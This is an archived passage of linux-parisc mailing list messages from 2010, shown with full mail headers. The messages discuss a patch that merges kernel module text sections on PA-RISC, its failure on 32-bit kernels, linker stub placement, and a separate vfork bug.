someone to try a failing module on a 32 bit platform (since 64 bits has
22 bit relative jumps, all the modules actually work).  You can see some
of the savings in the scsi_mod.ko

Before: 325 sections, 6366 relocation symbols
After: 23 sections, 5244 relocation symbols

James

---

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 55cca1d..ab88f11 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -21,6 +21,7 @@ KBUILD_DEFCONFIG := default_defconfig
 
 NM		= sh $(srctree)/arch/parisc/nm
 CHECKFLAGS	+= -D__hppa__=1
+LDFLAGS_MODULE	+= -T $(srctree)/arch/parisc/kernel/module.lds
 
 MACHINE		:= $(shell uname -m)
 ifeq ($(MACHINE),parisc*)
diff --git a/arch/parisc/kernel/module.lds b/arch/parisc/kernel/module.lds
new file mode 100644
index 0000000..42ee3eb
--- /dev/null
+++ b/arch/parisc/kernel/module.lds
@@ -0,0 +1,6 @@
+SECTIONS {
+	.text : {
+		/* Gather all function sections */
+		*(.text.*)
+	}
+}


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] fix the relative jump problem on large modules
Date: Fri, 18 Jun 2010 22:40:25 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <4C1BD9B9.200@gmx.de>
References: <1276873407.2850.35.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276893633 2179 80.91.229.12 (18 Jun 2010 20:40:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 18 Jun 2010 20:40:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 18 22:40:32 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OPiMZ-00064E-Gy
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Jun 2010 22:40:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751236Ab0FRUkb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 18 Jun 2010 16:40:31 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:38535 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751000Ab0FRUka (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 18 Jun 2010 16:40:30 -0400
Original-Received: (qmail invoked by alias); 18 Jun 2010 20:40:28 -0000
Original-Received: from p54AD1586.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.21.134]
  by mail.gmx.net (mp023) with SMTP; 18 Jun 2010 22:40:28 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19n77R5yylnO/TetnAPbU3e4DEEgzNfSmvs32dNxr
	kqI161unQsUWuC
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100430 Fedora/3.0.4-2.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <1276873407.2850.35.camel@mulgrave.site>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2957
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2957>

On 06/18/2010 05:03 PM, James Bottomley wrote:
> Part of this arguing with ksplice about their plan for
> -ffunction-sections and -fdata-sections got me thinking about how we do
> modules.  Right at the moment we have one section for every function in
> a module, which leads to a massive amount of relocation overhead in the
> in-kernel module loader.  Plus for some modules (ipv6, I believe), we
> lack the relative jumps to get out of the function because we only put
> the stubs after all the text sections.
> 
> The way to fix all of this, I think, is to make the real linker do more
> work.  It should be beneficial to us because the linker *should* be able
> to rearrange the sections to get the maximum number of jumps satisfiable
> relatively.
> 
> I've tested that this works on pa8800 systems, but I'd really like
> someone to try a failing module on a 32 bit platform (since 64 bits has
> 22 bit relative jumps, all the modules actually work).

Hi James,

I think there is no failing module on 32bit right now.
The biggest modules were ipv6.ko and xfs.ko, which do work now
since the latest module changes.

But if your patch saves relocations it's a win nevertheless.
I can't test your patch right now, but will try tomorrow evening....

Helge

> You can see some
> of the savings in the scsi_mod.ko
> 
> Before: 325 sections, 6366 relocation symbols
> After: 23 sections, 5244 relocation symbols
> 
> James
> 
> ---
> 
> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
> index 55cca1d..ab88f11 100644
> --- a/arch/parisc/Makefile
> +++ b/arch/parisc/Makefile
> @@ -21,6 +21,7 @@ KBUILD_DEFCONFIG := default_defconfig
>  
>  NM		= sh $(srctree)/arch/parisc/nm
>  CHECKFLAGS	+= -D__hppa__=1
> +LDFLAGS_MODULE	+= -T $(srctree)/arch/parisc/kernel/module.lds
>  
>  MACHINE		:= $(shell uname -m)
>  ifeq ($(MACHINE),parisc*)
> diff --git a/arch/parisc/kernel/module.lds b/arch/parisc/kernel/module.lds
> new file mode 100644
> index 0000000..42ee3eb
> --- /dev/null
> +++ b/arch/parisc/kernel/module.lds
> @@ -0,0 +1,6 @@
> +SECTIONS {
> +	.text : {
> +		/* Gather all function sections */
> +		*(.text.*)
> +	}
> +}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] fix the relative jump problem on large modules
Date: Sun, 20 Jun 2010 00:21:10 +0200
Lines: 109
Approved: news@gmane.org
Message-ID: <4C1D42D6.9050606@gmx.de>
References: <1276873407.2850.35.camel@mulgrave.site> <4C1BD9B9.200@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276986080 27860 80.91.229.12 (19 Jun 2010 22:21:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 19 Jun 2010 22:21:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 20 00:21:17 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OQ6Pa-0000Ks-Ck
	for glpp-linux-parisc@lo.gmane.org; Sun, 20 Jun 2010 00:21:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752479Ab0FSWVN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jun 2010 18:21:13 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:47710 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752792Ab0FSWVM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jun 2010 18:21:12 -0400
Original-Received: (qmail invoked by alias); 19 Jun 2010 22:21:11 -0000
Original-Received: from p54AD1BF7.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.27.247]
  by mail.gmx.net (mp039) with SMTP; 20 Jun 2010 00:21:11 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/Ff9BB4k3FF7R8aFfFOqL8nCFrUnELnje6CyCWOE
	WbdgmkJKhHtPB2
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.9) Gecko/20100430 Fedora/3.0.4-2.fc11 Lightning/1.0b2pre Thunderbird/3.0.4
In-Reply-To: <4C1BD9B9.200@gmx.de>
X-Enigmail-Version: 1.0.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2958
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2958>

On 06/18/2010 10:40 PM, Helge Deller wrote:
> On 06/18/2010 05:03 PM, James Bottomley wrote:
>> Part of this arguing with ksplice about their plan for
>> -ffunction-sections and -fdata-sections got me thinking about how we do
>> modules.  Right at the moment we have one section for every function in
>> a module, which leads to a massive amount of relocation overhead in the
>> in-kernel module loader.  Plus for some modules (ipv6, I believe), we
>> lack the relative jumps to get out of the function because we only put
>> the stubs after all the text sections.
>>
>> The way to fix all of this, I think, is to make the real linker do more
>> work.  It should be beneficial to us because the linker *should* be able
>> to rearrange the sections to get the maximum number of jumps satisfiable
>> relatively.
>>
>> I've tested that this works on pa8800 systems, but I'd really like
>> someone to try a failing module on a 32 bit platform (since 64 bits has
>> 22 bit relative jumps, all the modules actually work).
> 
> Hi James,
> 
> I think there is no failing module on 32bit right now.
> The biggest modules were ipv6.ko and xfs.ko, which do work now
> since the latest module changes.
> 
> But if your patch saves relocations it's a win nevertheless.
> I can't test your patch right now, but will try tomorrow evening....

Hi James,

I just tested your patch on a 32bit kernel.

The wins wrt module size is good:
ipv6.ko:	415K -> 357K
xfs.ko:		902K -> 747K
(btw, what is the command you ran to count the sections and relocs?).

But your patch doesn't work on 32bit.
root@c3000:~# modprobe xfs
FATAL: Error inserting xfs (/lib/modules/2.6.35-rc3-32bit+/kernel/fs/xfs/xfs.ko): Invalid module format

dmesg says:
module xfs relocation of symbol memcpy is out of range (0x3ffeffaa in 17 bits)

That's exactly the problem, and this reminded me on what my latest patch to
the linux kernel module loader on hppa did.

Just look at the weak function arch_mod_section_prepend() in arch/parisc/kernel/module.c,
and at the top of that file:

 *    Notes:
 *    - PLT stub handling
 *      On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
 *      ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
 *      fail to reach their PLT stub if we only create one big stub array for
 *      all sections at the beginning of the core or init section.
 *      Instead we now insert individual PLT stub entries directly in front of
 *      of the code sections where the stubs are actually called.
 *      This reduces the distance between the PCREL location and the stub entry
 *      so that the relocations can be fulfilled.
 *      While calculating the final layout of the kernel module in memory, the
 *      kernel module loader calls arch_mod_section_prepend() to request the
 *      to be reserved amount of memory in front of each individual section.

So, your patch merges all text sections, which then let the new kernel
module loader fail on 32bit since it's only one big section with too long distances...

Helge


>> You can see some
>> of the savings in the scsi_mod.ko
>>
>> Before: 325 sections, 6366 relocation symbols
>> After: 23 sections, 5244 relocation symbols
>>
>> James
>>
>> ---
>>
>> diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
>> index 55cca1d..ab88f11 100644
>> --- a/arch/parisc/Makefile
>> +++ b/arch/parisc/Makefile
>> @@ -21,6 +21,7 @@ KBUILD_DEFCONFIG := default_defconfig
>>  
>>  NM		= sh $(srctree)/arch/parisc/nm
>>  CHECKFLAGS	+= -D__hppa__=1
>> +LDFLAGS_MODULE	+= -T $(srctree)/arch/parisc/kernel/module.lds
>>  
>>  MACHINE		:= $(shell uname -m)
>>  ifeq ($(MACHINE),parisc*)
>> diff --git a/arch/parisc/kernel/module.lds b/arch/parisc/kernel/module.lds
>> new file mode 100644
>> index 0000000..42ee3eb
>> --- /dev/null
>> +++ b/arch/parisc/kernel/module.lds
>> @@ -0,0 +1,6 @@
>> +SECTIONS {
>> +	.text : {
>> +		/* Gather all function sections */
>> +		*(.text.*)
>> +	}
>> +}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] fix the relative jump problem on large modules
Date: Sat, 19 Jun 2010 17:57:46 -0500
Lines: 91
Approved: news@gmane.org
Message-ID: <1276988266.4416.222.camel@mulgrave.site>
References: <1276873407.2850.35.camel@mulgrave.site> <4C1BD9B9.200@gmx.de>
	 <4C1D42D6.9050606@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276988277 451 80.91.229.12 (19 Jun 2010 22:57:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 19 Jun 2010 22:57:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 20 00:57:56 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OQ6z2-0002BV-Oq
	for glpp-linux-parisc@lo.gmane.org; Sun, 20 Jun 2010 00:57:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752923Ab0FSW5u (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jun 2010 18:57:50 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55493 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752841Ab0FSW5t (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jun 2010 18:57:49 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 52BFF8EE0D8;
	Sat, 19 Jun 2010 15:57:49 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JgDiZSmH4DRG; Sat, 19 Jun 2010 15:57:49 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CF86F8EE019;
	Sat, 19 Jun 2010 15:57:48 -0700 (PDT)
In-Reply-To: <4C1D42D6.9050606@gmx.de>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2959
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2959>

On Sun, 2010-06-20 at 00:21 +0200, Helge Deller wrote:
> On 06/18/2010 10:40 PM, Helge Deller wrote:
> > On 06/18/2010 05:03 PM, James Bottomley wrote:
> >> Part of this arguing with ksplice about their plan for
> >> -ffunction-sections and -fdata-sections got me thinking about how we do
> >> modules.  Right at the moment we have one section for every function in
> >> a module, which leads to a massive amount of relocation overhead in the
> >> in-kernel module loader.  Plus for some modules (ipv6, I believe), we
> >> lack the relative jumps to get out of the function because we only put
> >> the stubs after all the text sections.
> >>
> >> The way to fix all of this, I think, is to make the real linker do more
> >> work.  It should be beneficial to us because the linker *should* be able
> >> to rearrange the sections to get the maximum number of jumps satisfiable
> >> relatively.
> >>
> >> I've tested that this works on pa8800 systems, but I'd really like
> >> someone to try a failing module on a 32 bit platform (since 64 bits has
> >> 22 bit relative jumps, all the modules actually work).
> > 
> > Hi James,
> > 
> > I think there is no failing module on 32bit right now.
> > The biggest modules were ipv6.ko and xfs.ko, which do work now
> > since the latest module changes.
> > 
> > But if your patch saves relocations it's a win nevertheless.
> > I can't test your patch right now, but will try tomorrow evening....
> 
> Hi James,
> 
> I just tested your patch on a 32bit kernel.
> 
> The wins wrt module size is good:
> ipv6.ko:	415K -> 357K
> xfs.ko:		902K -> 747K

Actually, that's not really necessarily a win ... it's probably mostly
container code and relocations.

> (btw, what is the command you ran to count the sections and relocs?).

objdump (-r or --section-headers)

> But your patch doesn't work on 32bit.
> root@c3000:~# modprobe xfs
> FATAL: Error inserting xfs (/lib/modules/2.6.35-rc3-32bit+/kernel/fs/xfs/xfs.ko): Invalid module format
> 
> dmesg says:
> module xfs relocation of symbol memcpy is out of range (0x3ffeffaa in 17 bits)
> 
> That's exactly the problem, and this reminded me on what my latest patch to
> the linux kernel module loader on hppa did.
> 
> Just look at the weak function arch_mod_section_prepend() in arch/parisc/kernel/module.c,
> and at the top of that file:
> 
>  *    Notes:
>  *    - PLT stub handling
>  *      On 32bit (and sometimes 64bit) and with big kernel modules like xfs or
>  *      ipv6 the relocation types R_PARISC_PCREL17F and R_PARISC_PCREL22F may
>  *      fail to reach their PLT stub if we only create one big stub array for
>  *      all sections at the beginning of the core or init section.
>  *      Instead we now insert individual PLT stub entries directly in front of
>  *      of the code sections where the stubs are actually called.
>  *      This reduces the distance between the PCREL location and the stub entry
>  *      so that the relocations can be fulfilled.
>  *      While calculating the final layout of the kernel module in memory, the
>  *      kernel module loader calls arch_mod_section_prepend() to request the
>  *      to be reserved amount of memory in front of each individual section.
> 
> So, your patch merges all text sections, which then let the new kernel
> module loader fail on 32bit since it's only one big section with too long distances...

The theory was that the linker should do the right thing and not emit a
relocation that can't reach the boundary of the text segment (i.e. it
should embed a stub between the sections as it combines them).  I'll
have to fire up a 32 bit compile and see exactly what it thinks it's
doing ... I've got a nasty feeling it expects us to be able to stub
either at the beginning or the end, which the in-kernel loader doesn't.

Thanks for testing the preliminary patch, anyway.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] fix the relative jump problem on large modules
Date: Sat, 19 Jun 2010 19:21:27 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20100619232128.6010C5160@hiauly1.hia.nrc.ca>
References: <1276988266.4416.222.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1276989692 3856 80.91.229.12 (19 Jun 2010 23:21:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 19 Jun 2010 23:21:32 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com (James Bottomley)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 20 01:21:31 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OQ7Lu-0007hb-Re
	for glpp-linux-parisc@lo.gmane.org; Sun, 20 Jun 2010 01:21:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753180Ab0FSXVa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jun 2010 19:21:30 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3743 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753136Ab0FSXV3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jun 2010 19:21:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6010C5160; Sat, 19 Jun 2010 19:21:27 -0400 (EDT)
In-Reply-To: <1276988266.4416.222.camel@mulgrave.site> from "James Bottomley" at Jun 19, 2010 05:57:46 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2960
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2960>

> The theory was that the linker should do the right thing and not emit a
> relocation that can't reach the boundary of the text segment (i.e. it
> should embed a stub between the sections as it combines them).  I'll
> have to fire up a 32 bit compile and see exactly what it thinks it's
> doing ... I've got a nasty feeling it expects us to be able to stub
> either at the beginning or the end, which the in-kernel loader doesn't.

See ld --stub-group-size=N option.  GCC assumes stub sections are at
the beginning and that the linker can insert stubs between input sections.
Merging text sections is likely to cause problems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: vfork test case.
Date: Sun, 20 Jun 2010 00:28:14 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <20100620042814.ECC205160@hiauly1.hia.nrc.ca>
References: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277008102 6746 80.91.229.12 (20 Jun 2010 04:28:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 Jun 2010 04:28:22 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	kyle@mcmartin.ca, James.Bottomley@hansenpartnership.com
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 20 06:28:20 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OQC8q-0007rJ-64
	for glpp-linux-parisc@lo.gmane.org; Sun, 20 Jun 2010 06:28:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750810Ab0FTE2S (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jun 2010 00:28:18 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3758 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750779Ab0FTE2S (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jun 2010 00:28:18 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id ECC205160; Sun, 20 Jun 2010 00:28:14 -0400 (EDT)
In-Reply-To: <119aab440912061319y5b863203ve5dc3dc568a6ccec@mail.gmail.com> from "Carlos O'Donell" at Dec 6, 2009 04:19:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2961
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2961>

Carlos,

> I have constructed a vfork test case which shows some of the problems
> I have using vfork reliably. This fails every time on my PA8700 system
> running 2.6.32-rc6. It appears as though r28 (ret0) in the parent is
> being corrupted.

It seems the vfork implementation has changed in 2.11.1 from
using clone to the vfork syscall.  I tried to build gdb head
today, but it dies at startup due to a problem with vfork.  This
is potentially also an issue with gcc as it uses the same
libiberty code.

I filed a sourceware bug, but closed it when I realized that
this is a glibc/kernel bug:
http://sourceware.org/bugzilla/show_bug.cgi?id=11730

After spending some time looking at this, I realized that __vfork
is broken.  It should not allocate a frame as the child may clobber
the parent's frame when it does a call, etc.  A frame should only
be allocated and popped around the call to the syscall error handler.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] fix the relative jump problem on large modules
Date: Sun, 20 Jun 2010 08:55:28 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <1277042128.5242.2.camel@mulgrave.site>
References: <20100619232128.6010C5160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1277042135 26498 80.91.229.12 (20 Jun 2010 13:55:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 Jun 2010 13:55:35 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 20 15:55:34 2010
connect(): No such file or directory
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OQKzl-0001a1-M5
	for glpp-linux-parisc@lo.gmane.org; Sun, 20 Jun 2010 15:55:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754567Ab0FTNzc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jun 2010 09:55:32 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38092 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754535Ab0FTNzc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jun 2010 09:55:32 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0384F8EE0F8;
	Sun, 20 Jun 2010 06:55:31 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id SFcK2HJKUlVR; Sun, 20 Jun 2010 06:55:30 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 72A708EE0DC;
	Sun, 20 Jun 2010 06:55:30 -0700 (PDT)
In-Reply-To: <20100619232128.6010C5160@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.28.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2962
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2962>

On Sat, 2010-06-19 at 19:21 -0400, John David Anglin wrote:
> > The theory was that the linker should do the right thing and not emit a
> > relocation that can't reach the boundary of the text segment (i.e. it
> > should embed a stub between the sections as it combines them).  I'll
> > have to fire up a 32 bit compile and see exactly what it thinks it's
> > doing ... I've got a nasty feeling it expects us to be able to stub
> > either at the beginning or the end, which the in-kernel loader doesn't.
> 
